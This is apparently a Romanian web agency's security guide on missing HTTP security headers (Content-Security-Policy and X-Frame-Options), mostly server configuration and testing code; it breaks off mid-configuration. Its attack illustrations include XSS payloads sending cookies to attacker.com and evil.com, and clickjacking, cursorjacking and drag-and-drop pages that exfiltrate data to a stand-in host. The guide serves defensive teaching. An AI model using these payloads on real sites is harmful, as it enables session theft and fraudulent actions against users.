Strada Primaverii 22 (incinta Erste Copia Center), Botoşani +40720576837 office@absolutweb.ro

WebDesign si SEO

Dacă nu folosești AI, nu exiști!
Attention is king!

logo absolut web expert 99a

Promovare prin backlink

2. Contextul vulnerabilităților prin absență

2. HEADER-URI DE SECURITATE LIPSĂ

Absența header-urilor de securitate reprezintă paradoxal cea mai răspândită categorie de vulnerabilități în aplicațiile web contemporane. Spre deosebire de vulnerabilitățile care rezultă din configurări eronate sau implementări defectuoase – care presupun cel puțin o conștientizare a problemei – lipsa completă a acestor mecanisme de protecție reflectă adesea o nepricepere fundamentală a modelului de amenințări web sau, și mai grav, o neglijență sistemică în procesul de dezvoltare și deployment. Această situație este cu atât mai problematică cu cât implementarea majorității header-urilor de securitate este trivială din punct de vedere tehnic: majoritatea pot fi adăugate printr-o singură linie de configurare la nivel de server sau middleware, fără a necesita modificări ale codului aplicațional.

Din perspectiva atacatorului, absența header-urilor de securitate echivalează cu o invitație deschisă: browser-ul va adopta comportamentul cel mai permisiv posibil, execuând orice script inline, încărcând resurse din surse arbitrare, permițând frame-ing și oferind acces nerestricționat la API-uri periculoase. Studiile de penetration testing demonstrează că timpul mediu de exploatare a unei aplicații fără Content-Security-Policy este de ordinul minutelor, comparativ cu ore sau zile pentru aplicații cu politici CSP bine configurate. În secțiunile următoare, vom analiza sistematic fiecare header critic lipsă, mecanismele de atac pe care le facilitează și, crucial, modalitățile concrete de remediere adaptate diferitelor contexte tehnologice.


2.1 Content-Security-Policy (CSP)

Natura vulnerabilității

Content-Security-Policy reprezintă cel mai puternic și comprehensiv mecanism de protecție împotriva atacurilor Cross-Site Scripting (XSS) și injection disponibil în ecosistemul web modern. Absența sa lasă aplicația complet vulnerabilă la executarea codului arbitrar injectat de atacatori, transformând orice vulnerabilitate XSS – fie ea reflected, stored sau DOM-based – într-o breșă de securitate critică cu potential de compromitere totală.

Mecanismul de protecție: CSP funcționează ca o whitelist declarativă care specifică browser-ului ce surse de conținut sunt legitime pentru aplicația ta. Fără acest header, browser-ul va executa orice JavaScript întâlnește, indiferent de origine sau context.

Impactul tehnic al absenței CSP

Atacuri posibile:

  1. Cross-Site Scripting (XSS) - Reflected
javascript
// URL malițios trimis victimei
https://aplicatie.ro/search?q=<script>
 fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
// Fără CSP, scriptul se execută imediat
// Cu CSP corect, browser-ul blochează execuția
  1. Stored XSS - Persistență
javascript
// Atacatorul introduce în profil/comentariu
<img src=x onerror="
 new Image().src='https://evil.com/log?'+document.cookie
">
// Fiecare utilizator care vizualizează conținutul devine victimă
  1. DOM-based XSS
javascript
// Cod vulnerabil în aplicație
document.getElementById('content').innerHTML = location.hash.substring(1);
// Exploatare
https://aplicatie.ro/#<img src=x onerror=alert(document.domain)>
  1. Injection de resurse externe malițioase
html
<!-- Atacatorul injectează -->
<script src="https://malicious-cdn.com/keylogger.js"></script>
<link rel="stylesheet" href="https://attacker.com/phishing-overlay.css">

Consecințe în cascadă:

  • Session hijacking - Furt de cookies de autentificare
  • Keylogging - Capturarea input-urilor utilizatorului
  • Defacement - Modificarea vizuală a site-ului
  • Phishing în context - Overlay-uri false de autentificare
  • Cryptocurrency mining - Utilizarea resurselor browser-ului
  • Propagare malware - Drive-by downloads
  • Exfiltrare de date - Trimiterea informațiilor sensibile către servere externe

Metodologia de testare

Verificare rapidă - prezența header-ului:

bash
curl -I https://aplicatie.ro | grep -i "content-security-policy"
# Dacă nu returnează nimic → VULNERABILITATE CRITICĂ

Test funcțional - încercare de injecție:

html
<!-- Creează fișier test.html local -->
<!DOCTYPE html>
<html>
<body>
 <h1>Test CSP Absence</h1>
 <!-- Încearcă să injectezi acest payload în orice input din aplicație -->
 <script>alert('XSS Vulnerability - No CSP!')</script>
 <!-- Sau acest variant -->
 <img src=x onerror="alert('XSS via onerror')">
 <!-- Test încărcare script extern -->
 <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
 <script>
 if (typeof jQuery !== 'undefined') {
 alert('External scripts allowed - No CSP restriction');
 }
 </script>
</body>
</html>

Puncte de testare prioritare:

  • ✅ Câmpuri de căutare
  • ✅ Secțiuni de comentarii/review-uri
  • ✅ Profile utilizatori (nume, bio, adresă)
  • ✅ Formulare de contact
  • ✅ URL parameters reflectate în pagină
  • ✅ Upload de fișiere HTML/SVG

Tools automate:

bash
# OWASP ZAP - Active Scan pentru XSS
# Burp Suite - Scanner va detecta automat absența CSP
# Script Python simplu pentru verificare
python3 << EOF
import requests
response = requests.get('https://aplicatie.ro')
if 'Content-Security-Policy' not in response.headers:
 print("🔴 CRITICAL: CSP header missing!")
else:
 print("✅ CSP present:", response.headers['Content-Security-Policy'])
EOF
```
---
### **Remediere - Configurare Content-Security-Policy**
#### **Strategia de implementare progresivă**
CSP poate fi intimidant la început din cauza complexității. Recomand o abordare în trei etape:
**ETAPA 1: CSP în modul Report-Only (fără blocare)**
```
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
```
Acest mod colectează violări fără a bloca efectiv conținut → identifici probleme fără a strica funcționalitatea.
**ETAPA 2: CSP restrictiv cu excepții documentate**
```
Content-Security-Policy:
 default-src 'self';
 script-src 'self' https://trusted-cdn.com;
 style-src 'self' 'unsafe-inline';
 img-src 'self' data: https:;
 font-src 'self' https://fonts.gstatic.com;
 connect-src 'self' https://api.aplicatie.ro;
 frame-ancestors 'none';
 base-uri 'self';
 form-action 'self';
```
**ETAPA 3: CSP strict cu nonce/hash (gold standard)**
```
Content-Security-Policy:
 default-src 'none';
 script-src 'nonce-{RANDOM}';
 style-src 'nonce-{RANDOM}';
 img-src 'self';
 connect-src 'self';
 frame-ancestors 'none';

Configurări concrete per platformă

Apache (.htaccess sau httpd.conf):

apache
<IfModule mod_headers.c>
 # CSP de bază pentru aplicații standard
 Header always set Content-Security-Policy "\
 default-src 'self'; \
 script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com; \
 style-src 'self' 'unsafe-inline'; \
 img-src 'self' data: https:; \
 font-src 'self' data:; \
 connect-src 'self'; \
 frame-ancestors 'self'; \
 base-uri 'self'; \
 form-action 'self';"
</IfModule>
# Pentru debugging - Report-Only mode
# Header always set Content-Security-Policy-Report-Only "..."

Nginx:

nginx
server {
 # CSP pentru aplicații statice
 add_header Content-Security-Policy "
 default-src 'self';
 script-src 'self';
 style-src 'self';
 img-src 'self' data:;
 font-src 'self';
 connect-src 'self';
 frame-ancestors 'none';
 " always;
 # Locație pentru raportare CSP violations
 location /csp-report {
 # Log violations pentru analiză
 access_log /var/log/nginx/csp-violations.log;
 }
}

IIS (web.config):

xml
<system.webServer>
 <httpProtocol>
 <customHeaders>
 <add name="Content-Security-Policy"
 value="default-src 'self';
 script-src 'self' https://cdn.example.com;
 style-src 'self' 'unsafe-inline';
 img-src 'self' data:;
 font-src 'self';
 connect-src 'self';
 frame-ancestors 'self';" />
 </customHeaders>
 </httpProtocol>
</system.webServer>

Node.js / Express:

javascript
const helmet = require('helmet');
app.use(
 helmet.contentSecurityPolicy({
 directives: {
 defaultSrc: ["'self'"],
 scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.example.com"],
 styleSrc: ["'self'", "'unsafe-inline'"],
 imgSrc: ["'self'", "data:", "https:"],
 connectSrc: ["'self'"],
 fontSrc: ["'self'"],
 objectSrc: ["'none'"],
 mediaSrc: ["'self'"],
 frameSrc: ["'none'"],
 frameAncestors: ["'none'"],
 baseUri: ["'self'"],
 formAction: ["'self'"]
 }
 })
);
// Cu nonce dinamic (recomandat)
app.use((req, res, next) => {
 res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
 next();
});
app.use(
 helmet.contentSecurityPolicy({
 directives: {
 defaultSrc: ["'self'"],
 scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
 styleSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`]
 }
 })
);
// În template HTML
// <script nonce="<%= cspNonce %>">...</script>

Django (Python):

python
# settings.py
MIDDLEWARE = [
 'django.middleware.security.SecurityMiddleware',
 'csp.middleware.CSPMiddleware',
 # ... alte middleware
]
# Configurare CSP
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)
# Report-Only mode pentru testare
CSP_REPORT_ONLY = True
CSP_REPORT_URI = '/csp-report/'

PHP:

php
<?php
// La începutul fiecărui script sau în header.php comun
header("Content-Security-Policy: " .
 "default-src 'self'; " .
 "script-src 'self' 'unsafe-inline' https://cdn.example.com; " .
 "style-src 'self' 'unsafe-inline'; " .
 "img-src 'self' data: https:; " .
 "font-src 'self'; " .
 "connect-src 'self'; " .
 "frame-ancestors 'self'; " .
 "base-uri 'self'; " .
 "form-action 'self';"
);
// Cu nonce dinamic (recomandat)
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: " .
 "default-src 'self'; " .
 "script-src 'self' 'nonce-{$nonce}'; " .
 "style-src 'self' 'nonce-{$nonce}';"
);
// În HTML
// <script nonce="<?php echo $nonce; ?>">...</script>
?>

 

Directivele CSP esențiale - explicații detaliate

DirectivăScopRecomandare
default-src Fallback pentru toate directivele nespecificate 'self' - permite doar resurse de pe același domeniu
script-src Controlează sursele JavaScript 'self' + whitelist CDN-uri de încredere. Evită 'unsafe-inline' și 'unsafe-eval'
style-src Controlează CSS-ul 'self' + eventual 'unsafe-inline' dacă framework-ul necesită
img-src Controlează imaginile 'self' data: https: - permite imagini locale, data URIs și HTTPS
connect-src Controlează XHR, WebSocket, Fetch 'self' + API endpoints externe necesare
font-src Controlează font-urile 'self' + Google Fonts dacă este folosit
frame-ancestors Controlează unde poate fi iframe-ată pagina 'none' sau 'self' - protecție clickjacking
base-uri Controlează <base> tag 'self' - previne base tag injection
form-action Controlează destinațiile formularelor 'self' - previne form hijacking
object-src Controlează <object>, <embed>, <applet> 'none' - dezactivează Flash și alte plugin-uri

Strategii pentru eliminarea 'unsafe-inline'

Prezența 'unsafe-inline' în CSP reduce semnificativ protecția. Iată cum elimini această necesitate:

1. Externalizare scripts inline:

html
<!-- ❌ ÎNAINTE (necesită unsafe-inline) -->
<button onclick="doSomething()">Click</button>
<script>
 function doSomething() { /* ... */ }
</script>
<!-- ✅ DUPĂ -->
<!-- În fișier extern app.js -->
document.querySelector('#myButton').addEventListener('click', doSomething);
<button id="myButton">Click</button>
<script src="/app.js"></script>

2. Utilizare nonce pentru scripturi inevitabil inline:

html
<!-- Server generează nonce unic per request -->
<!-- CSP: script-src 'self' 'nonce-r4nd0m123' -->
<script nonce="r4nd0m123">
 // Acest script va fi permis
 console.log('Inline script with nonce');
</script>
<script nonce="r4nd0m123" src="/analytics.js"></script>

3. Utilizare hash pentru conținut static:

html
<!-- Calculezi SHA-256 hash al scriptului -->
<!-- CSP: script-src 'self' 'sha256-abc123...' -->
<script>
 console.log('Static inline script');
</script>
<!-- Browser verifică hash-ul înainte de execuție -->
bash
# Generare hash pentru CSP
echo -n "console.log('Static inline script');" | openssl dgst -sha256 -binary | openssl base64

Monitoring și raportare CSP

Configurare endpoint de raportare:

javascript
// Node.js - endpoint pentru CSP reports
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
 console.log('CSP Violation:', req.body);
 // Log în sistem de monitoring
 logger.warn('CSP violation', {
 documentURI: req.body['csp-report']['document-uri'],
 violatedDirective: req.body['csp-report']['violated-directive'],
 blockedURI: req.body['csp-report']['blocked-uri'],
 sourceFile: req.body['csp-report']['source-file'],
 lineNumber: req.body['csp-report']['line-number']
 });
 res.status(204).send();
});
```
**CSP Header cu raportare:**
```
Content-Security-Policy:
 default-src 'self';
 script-src 'self';
 report-uri /csp-report;
 report-to csp-endpoint;
Report-To: {
 "group": "csp-endpoint",
 "max_age": 10886400,
 "endpoints": [{"url": "https://aplicatie.ro/csp-report"}]
}

Exemplu raport CSP primit:

{
 "csp-report": {
 "document-uri": "https://aplicatie.ro/page",
 "referrer": "",
 "violated-directive": "script-src 'self'",
 "effective-directive": "script-src",
 "original-policy": "default-src 'self'; script-src 'self'",
 "blocked-uri": "https://evil.com/malicious.js",
 "status-code": 200,
 "source-file": "https://aplicatie.ro/page",
 "line-number": 42,
 "column-number": 15
 }
}

Checklist de validare CSP

După implementare, verifică:

  • Header-ul CSP este prezent în toate răspunsurile HTML
  • Aplicația funcționează complet (teste în browsere multiple)
  • Nu există erori în console despre resurse blocate legitime
  • Test manual de XSS eșuează (scripturile inline sunt blocate)
  • Report-uri CSP sunt loggate și monitorizate
  • Directive configurate pentru toate tipurile de resurse folosite
  • 'unsafe-inline' și 'unsafe-eval' sunt eliminate (sau planificate pentru eliminare)
  • CSP este testat cu tools specializate (CSP Evaluator de la Google)

Validare automată:

bash
# Test rapid cu SecurityHeaders.com
curl "https://securityheaders.com/?q=https://aplicatie.ro&followRedirects=on"
# Sau cu Google CSP Evaluator
# https://csp-evaluator.withgoogle.com/
```
---
### **Provocări comune și soluții**
**Problema: "CSP blochează Google Analytics / ads / third-party scripts"**
**Soluție:**
```
Content-Security-Policy:
 script-src 'self'
 https://www.google-analytics.com
 https://www.googletagmanager.com
 https://pagead2.googlesyndication.com;
 connect-src 'self'
 https://www.google-analytics.com;
 img-src 'self'
 https://www.google-analytics.com
 https://stats.g.doubleclick.net;

Problema: "Framework-ul meu (React/Vue/Angular) folosește eval()"

Soluție:

  • Verifică dacă folosești build-ul de producție (nu development)
  • Build-urile de producție moderne nu necesită 'unsafe-eval'
  • Dacă framework-ul vechi îl cere → consideră upgrade sau folosește nonce

Problema: "Am sute de scripturi inline în aplicație legacy"

Soluție treptată:

  1. Pornește cu CSP în Report-Only mode
  2. Analizează rapoartele 2-3 săptămâni
  3. Externalizează gradual scripturile cele mai critice
  4. Folosește nonce pentru restul până la refactoring complet

 

2.2 X-Frame-Options / Frame-Ancestors

Natura vulnerabilității

X-Frame-Options este un header de securitate care controlează dacă și cum poate fi încadrată (iframe-ată) o pagină web într-un context extern. Absența acestui header permite atacuri de tip clickjacking (UI redressing), în care atacatorul suprapune elemente vizuale peste interfața legitimă a aplicației tale, înșelând utilizatorii să efectueze acțiuni nedorite – de la aprobarea tranzacțiilor financiare până la modificarea setărilor de securitate sau partajarea de informații confidențiale.

Mecanismul de protecție: Header-ul instruiește browser-ul să refuze încărcarea paginii în contexte de frame controlate de alte domenii, prevenind astfel ca atacatorii să "împacheteze" aplicația ta într-o pagină malițioasă unde pot orchestra interacțiuni frauduloase.

Evoluția tehnologică: X-Frame-Options este un header mai vechi, acum parțial deprecat în favoarea directivei frame-ancestors din Content-Security-Policy, care oferă control mai granular. Cu toate acestea, X-Frame-Options rămâne relevant pentru compatibilitate cu browsere mai vechi și ca măsură de defense-in-depth.

Impactul tehnic al absenței X-Frame-Options

Atacuri posibile:

1. Clickjacking clasic - acțiuni nedorite

html
<!-- Pagina atacatorului: evil-site.com/trap.html -->
<!DOCTYPE html>
<html>
<head>
 <style>
 /* Iframe-ul aplicației tale, complet invizibil */
 #targetFrame {
 position: absolute;
 width: 500px;
 height: 500px;
 opacity: 0.0; /* Complet transparent */
 z-index: 2;
 top: 100px;
 left: 100px;
 }
 /* Interfață falsă atractivă deasupra */
 #decoy {
 position: absolute;
 width: 500px;
 height: 500px;
 z-index: 1;
 top: 100px;
 left: 100px;
 }
 </style>
</head>
<body>
 <h1>Câștigă un iPhone 15 GRATUIT!</h1>
 <div id="decoy">
 <button style="width:200px; height:50px; font-size:20px;">
 Revendică Premiul! 🎁
 </button>
 </div>
 <!-- Aplicația ta vulnerabilă încadrată invizibil -->
 <iframe id="targetFrame" src="https://aplicatie.ro/transfer-bani">
 </iframe>
 <script>
 // Atacatorul aliniază perfect iframe-ul invizibil
 // astfel încât butonul "Confirmă Transfer" din aplicația ta
 // să se suprapună exact peste butonul fals "Revendică Premiul"
 // Victima crede că dă click pentru premiu
 // De fapt dă click pe "Confirmă Transfer" din aplicația ta
 </script>
</body>
</html>

Rezultat: Utilizatorul crede că participă la un concurs, dar de fapt autorizează un transfer bancar în aplicația ta.

2. Likejacking - manipulare social media

html
<!-- Atacatorul încadrează butonul "Like" de Facebook/LinkedIn -->
<iframe src="https://www.facebook.com/plugins/like.php?href=https://malicious-page.com"
 style="opacity: 0; position: absolute; top: 50px; left: 100px;">
</iframe>
<div style="position: absolute; top: 50px; left: 100px;">
 <button>Descarcă Fișierul</button>
</div>
<!-- Victima crede că descarcă ceva, dar dă Like la o pagină malițioasă -->

3. Cursorjacking - manipulare cursor

html
<style>
 /* Ascunde cursorul real */
 * { cursor: none !important; }
 /* Cursor fals poziționat cu offset */
 #fakeCursor {
 position: absolute;
 width: 20px;
 height: 20px;
 pointer-events: none;
 }
</style>
<img id="fakeCursor" src="/cursor.png">
<iframe src="https://aplicatie.ro/delete-account"
 style="opacity: 0.01; position: absolute;">
</iframe>
<script>
 // Cursorul fals urmărește mouse-ul cu offset
 // Utilizatorul crede că dă click într-un loc,
 // dar de fapt dă click în alt loc în iframe
 document.addEventListener('mousemove', (e) => {
 document.getElementById('fakeCursor').style.left = (e.pageX + 50) + 'px';
 document.getElementById('fakeCursor').style.top = (e.pageY + 50) + 'px';
 });
</script>

4. Drag & Drop jacking - exfiltrare date

html
<!-- Atacatorul încadrează aplicația ta unde sunt date sensibile -->
<iframe src="https://aplicatie.ro/confidential-dashboard"
 style="opacity: 0; position: absolute; z-index: 999;">
</iframe>
<div id="dropZone" style="width: 300px; height: 200px; border: 2px dashed #ccc;">
 <p>Trage fișierul aici pentru upload rapid!</p>
</div>
<script>
 document.getElementById('dropZone').addEventListener('drop', (e) => {
 // Victima trage "fișierul" (de fapt text din aplicația ta iframe-ată)
 // Atacatorul capturează datele
 const data = e.dataTransfer.getData('text');
 fetch('https://attacker.com/steal', {
 method: 'POST',
 body: JSON.stringify({ stolen: data })
 });
 });
</script>

Consecințe specifice în aplicații reale:

  • Banking/Fintech: Autorizare transferuri, modificare beneficiari
  • E-commerce: Plasare comenzi, modificare adresă livrare
  • Social Media: Like, share, follow conturi malițioase
  • Corporate Apps: Aprobare documente, acordare permisiuni
  • Email/Cloud Storage: Partajare documente confidențiale
  • Admin Panels: Creare utilizatori, modificare setări de securitate

Metodologia de testare

Verificare rapidă - prezența header-ului:

bash
curl -I https://aplicatie.ro | grep -i "x-frame-options"
curl -I https://aplicatie.ro | grep -i "content-security-policy" | grep "frame-ancestors"
# Dacă AMBELE lipsesc → VULNERABILITATE HIGH/CRITICAL

Test funcțional - încercare de frame-ing:

Metoda 1: Test local cu HTML

html
<!-- Salvează ca test-clickjacking.html și deschide în browser -->
<!DOCTYPE html>
<html>
<head>
 <title>Clickjacking Test</title>
 <style>
 iframe {
 border: 2px solid red;
 width: 100%;
 height: 600px;
 }
 </style>
</head>
<body>
 <h1>Test Clickjacking Vulnerability</h1>
 <p>Încearcă să încadrezi aplicația ta:</p>
 <!-- Înlocuiește cu URL-ul aplicației tale -->
 <iframe src="https://aplicatie.ro"></iframe>
 <div id="result"></div>
 <script>
 const iframe = document.querySelector('iframe');
 iframe.addEventListener('load', () => {
 try {
 // Încearcă să accesezi conținutul iframe-ului
 const doc = iframe.contentDocument || iframe.contentWindow.document;
 document.getElementById('result').innerHTML =
 '<p style="color: red;">❌ VULNERABIL: Pagina poate fi iframe-ată!</p>';
 } catch (e) {
 // Eroare = protecție activă
 document.getElementById('result').innerHTML =
 '<p style="color: green;">✅ PROTEJAT: X-Frame-Options funcționează</p>';
 }
 });
 // Timeout pentru cazul în care încărcarea e blocată complet
 setTimeout(() => {
 if (!iframe.contentWindow) {
 document.getElementById('result').innerHTML =
 '<p style="color: green;">✅ PROTEJAT: Frame complet blocat</p>';
 }
 }, 5000);
 </script>
</body>
</html>

Metoda 2: Browser Developer Tools

javascript
// În Console (DevTools) pe un site extern
const iframe = document.createElement('iframe');
iframe.src = 'https://aplicatie.ro';
document.body.appendChild(iframe);
// Verifică în Console dacă primești eroare de tipul:
// "Refused to display 'https://aplicatie.ro' in a frame because it set 'X-Frame-Options' to 'deny'."
// Dacă iframe-ul se încarcă fără erori → VULNERABIL

Metoda 3: Tools online

bash
# Verificare cu SecurityHeaders.com
curl -s "https://securityheaders.com/?q=https://aplicatie.ro&hide=on&followRedirects=on" | grep -i frame
# Sau manual accesează:
# https://securityheaders.com/?q=https://aplicatie.ro

Puncte de testare prioritare:

  • ✅ Pagini de autentificare (login, register)
  • ✅ Pagini cu acțiuni sensibile (transfer bani, ștergere cont, aprobare acces)
  • ✅ Dashboard-uri cu informații confidențiale
  • ✅ Formulare de plată/checkout
  • ✅ Pagini cu butoane sociale (like, share, follow)
  • ✅ Pagini de administrare

Test automatizat cu Python:

python
import requests
def check_frame_protection(url):
 try:
 response = requests.get(url, timeout=10)
 headers = response.headers
 vulnerabilities = []
 # Verifică X-Frame-Options
 if 'X-Frame-Options' not in headers:
 vulnerabilities.append("X-Frame-Options header missing")
 else:
 xfo_value = headers['X-Frame-Options'].upper()
 if xfo_value not in ['DENY', 'SAMEORIGIN']:
 vulnerabilities.append(f"X-Frame-Options value weak: {xfo_value}")
 # Verifică CSP frame-ancestors
 if 'Content-Security-Policy' in headers:
 csp = headers['Content-Security-Policy']
 if 'frame-ancestors' not in csp.lower():
 vulnerabilities.append("CSP present but frame-ancestors not configured")
 else:
 vulnerabilities.append("Content-Security-Policy header missing")
 if vulnerabilities:
 print(f"🔴 {url} - VULNERABIL:")
 for vuln in vulnerabilities:
 print(f" - {vuln}")
 return False
 else:
 print(f"✅ {url} - PROTEJAT")
 return True
 except Exception as e:
 print(f"⚠️ Error checking {url}: {e}")
 return None
# Test
urls = [
 'https://aplicatie.ro',
 'https://aplicatie.ro/login',
 'https://aplicatie.ro/dashboard'
]
for url in urls:
 check_frame_protection(url)

Remediere - Configurare X-Frame-Options și frame-ancestors

Opțiuni de configurare X-Frame-Options

Header-ul X-Frame-Options acceptă trei valori:

ValoareEfectCând se folosește
DENY Pagina NU poate fi încadrată deloc, nici măcar de același site Pagini cu acțiuni critice (autentificare, plăți, admin)
SAMEORIGIN Pagina poate fi încadrată doar de pagini de pe același domeniu Aplicații care folosesc iframe-uri interne legitime
ALLOW-FROM uri ⚠️ DEPRECATED - Pagina poate fi încadrată doar de URI specificat NU MAI FOLOSI - suport browser limitat

Recomandare generală:

  • DENY pentru 90% din cazuri
  • SAMEORIGIN doar dacă ai nevoie legitimă de iframe-uri interne
  • Migrează către CSP frame-ancestors pentru control granular

Configurări concrete per platformă

Apache (.htaccess sau httpd.conf):

apache
<IfModule mod_headers.c>
 # Varianta 1: DENY total (recomandat pentru majoritatea aplicațiilor)
 Header always set X-Frame-Options "DENY"
 # Varianta 2: SAMEORIGIN (pentru aplicații cu iframe-uri interne)
 # Header always set X-Frame-Options "SAMEORIGIN"
 # BONUS: Adaugă și CSP frame-ancestors pentru protecție modernă
 Header always set Content-Security-Policy "frame-ancestors 'none'"
 # Sau pentru SAMEORIGIN echivalent:
 # Header always set Content-Security-Policy "frame-ancestors 'self'"
</IfModule>
# Configurare condiționată per locație
<Location /public-embed>
 # Permite iframe-ing pentru anumite secțiuni
 Header always set X-Frame-Options "SAMEORIGIN"
</Location>
<Location /admin>
 # Protecție maximă pentru admin
 Header always set X-Frame-Options "DENY"
 Header always set Content-Security-Policy "frame-ancestors 'none'"
</Location>

Nginx:

nginx
server {
 listen 443 ssl;
 server_name aplicatie.ro;
 # Configurare globală pentru tot site-ul
 add_header X-Frame-Options "DENY" always;
 add_header Content-Security-Policy "frame-ancestors 'none'" always;
 # Configurare specifică pentru anumite locații
 location /public-widget {
 # Permite iframe doar de pe același domeniu
 add_header X-Frame-Options "SAMEORIGIN" always;
 add_header Content-Security-Policy "frame-ancestors 'self'" always;
 }
 location /embed-partners {
 # Permite iframe de pe domenii specifice (doar prin CSP)
 add_header Content-Security-Policy "frame-ancestors 'self' https://partner1.com https://partner2.com" always;
 # X-Frame-Options nu suportă whitelist, deci fie îl omitem fie folosim DENY
 add_header X-Frame-Options "DENY" always;
 }
 location ~ ^/(login|admin|checkout) {
 # Protecție maximă pentru endpoint-uri sensibile
 add_header X-Frame-Options "DENY" always;
 add_header Content-Security-Policy "frame-ancestors 'none'" always;
 }
}

IIS (web.config):

xml
<system.webServer>
 <httpProtocol>
 <customHeaders>
 <!-- Configurare globală -->
 <add name="X-Frame-Options" value="DENY" />
 <!-- SAU pentru SAMEORIGIN -->
 <!-- <add name="X-Frame-Options" value="SAMEORIGIN" /> -->
 <!-- Adaugă și CSP pentru protecție modernă -->
 <add name="Content-Security-Policy" value="frame-ancestors 'none'" />
 </customHeaders>
 </httpProtocol>
 <!-- Configurare per locație -->
 <location path="public-embed">
 <system.webServer>
 <httpProtocol>
 <customHeaders>
 <remove name="X-Frame-Options" />
 <add name="X-Frame-Options" value="SAMEORIGIN" />
 </customHeaders>
 </httpProtocol>
 </system.webServer>
 </location>
</system.webServer>

Node.js / Express:

javascript
const helmet = require('helmet');
// Varianta 1: Folosind Helmet (recomandat)
app.use(helmet.frameguard({ action: 'deny' }));
// SAU pentru SAMEORIGIN
// app.use(helmet.frameguard({ action: 'sameorigin' }));
// Varianta 2: Manual
app.use((req, res, next) => {
 res.setHeader('X-Frame-Options', 'DENY');
 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
 next();
});
// Configurare avansată - diferită per rută
app.get('/public-embed', (req, res, next) => {
 res.setHeader('X-Frame-Options', 'SAMEORIGIN');
 res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
 next();
});
app.get('/partner-embed', (req, res, next) => {
 // Whitelist domenii partenere (doar prin CSP)
 res.setHeader('Content-Security-Policy',
 "frame-ancestors 'self' https://partner1.com https://partner2.com");
 next();
});
// Protecție strictă pentru rute sensibile
const strictFrameProtection = (req, res, next) => {
 res.setHeader('X-Frame-Options', 'DENY');
 res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
 next();
};
app.use('/login', strictFrameProtection);
app.use('/admin', strictFrameProtection);
app.use('/checkout', strictFrameProtection);

Django (Python):

python
# settings.py
# Varianta 1: Setare globală
X_FRAME_OPTIONS = 'DENY'
# SAU
# X_FRAME_OPTIONS = 'SAMEORIGIN'
# Adaugă middleware pentru X-Frame-Options
MIDDLEWARE = [
 'django.middleware.security.SecurityMiddleware',
 'django.middleware.clickjacking.XFrameOptionsMiddleware', # Acest middleware
 # ... alte middleware
]
# Configurare CSP frame-ancestors
CSP_FRAME_ANCESTORS = ("'none'",)
# SAU pentru SAMEORIGIN echivalent:
# CSP_FRAME_ANCESTORS = ("'self'",)
# Varianta 2: Per-view cu decorator
from django.views.decorators.clickjacking import xframe_options_deny, xframe_options_sameorigin
@xframe_options_deny
def sensitive_view(request):
 # Această view nu poate fi iframe-ată
 return render(request, 'sensitive.html')
@xframe_options_sameorigin
def internal_embed_view(request):
 # Această view poate fi iframe-ată doar de același site
 return render(request, 'embed.html')
# Varianta 3: Exceptare anumite view-uri de la protecție globală
from django.views.decorators.clickjacking import xframe_options_exempt
@xframe_options_exempt
def public_widget_view(request):
 # Această view poate fi iframe-ată de oricine
 # ATENȚIE: Folosește doar pentru widgeturi publice non-sensibile
 return render(request, 'widget.html')

PHP:

php
<?php
// Varianta 1: La începutul fiecărui script sau în header.php comun
header("X-Frame-Options: DENY");
header("Content-Security-Policy: frame-ancestors 'none'");
// SAU pentru SAMEORIGIN
// header("X-Frame-Options: SAMEORIGIN");
// header("Content-Security-Policy: frame-ancestors 'self'");
// Varianta 2: Configurare condiționată
function setFrameProtection($mode = 'deny') {
 switch ($mode) {
 case 'deny':
 header("X-Frame-Options: DENY");
 header("Content-Security-Policy: frame-ancestors 'none'");
 break;
 case 'sameorigin':
 header("X-Frame-Options: SAMEORIGIN");
 header("Content-Security-Policy: frame-ancestors 'self'");
 break;
 case 'allow':
 // Nu seta header-uri - permite iframe-ing
 // ATENȚIE: Folosește doar pentru widgeturi publice
 break;
 }
}
// În pagini sensibile
if (strpos($_SERVER['REQUEST_URI'], '/login') !== false ||
 strpos($_SERVER['REQUEST_URI'], '/admin') !== false) {
 setFrameProtection('deny');
} else {
 setFrameProtection('sameorigin');
}
?>
<!-- SAU cu .htaccess (vezi secțiunea Apache mai sus) -->

ASP.NET (C#):

csharp
// Varianta 1: Global în Global.asax.cs
protected void Application_BeginRequest(object sender, EventArgs e)
{
 Response.AddHeader("X-Frame-Options", "DENY");
 Response.AddHeader("Content-Security-Policy", "frame-ancestors 'none'");
}
// Varianta 2: În Web.config (vezi secțiunea IIS)
// Varianta 3: Per-action cu custom attribute
public class FrameOptionsAttribute : ActionFilterAttribute
{
 private readonly string _option;
 public FrameOptionsAttribute(string option = "DENY")
 {
 _option = option;
 }
 public override void OnResultExecuting(ResultExecutingContext filterContext)
 {
 filterContext.HttpContext.Response.AddHeader("X-Frame-Options", _option);
 string cspValue = _option == "DENY" ? "frame-ancestors 'none'" : "frame-ancestors 'self'";
 filterContext.HttpContext.Response.AddHeader("Content-Security-Policy", cspValue);
 base.OnResultExecuting(filterContext);
 }
}
// Utilizare în controller
[FrameOptions("DENY")]
public ActionResult Login()
{
 return View();
}
[FrameOptions("SAMEORIGIN")]
public ActionResult PublicWidget()
{
 return View();
}

Spring Boot (Java):

java
// Varianta 1: Configurare în SecurityConfig
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http
 .headers()
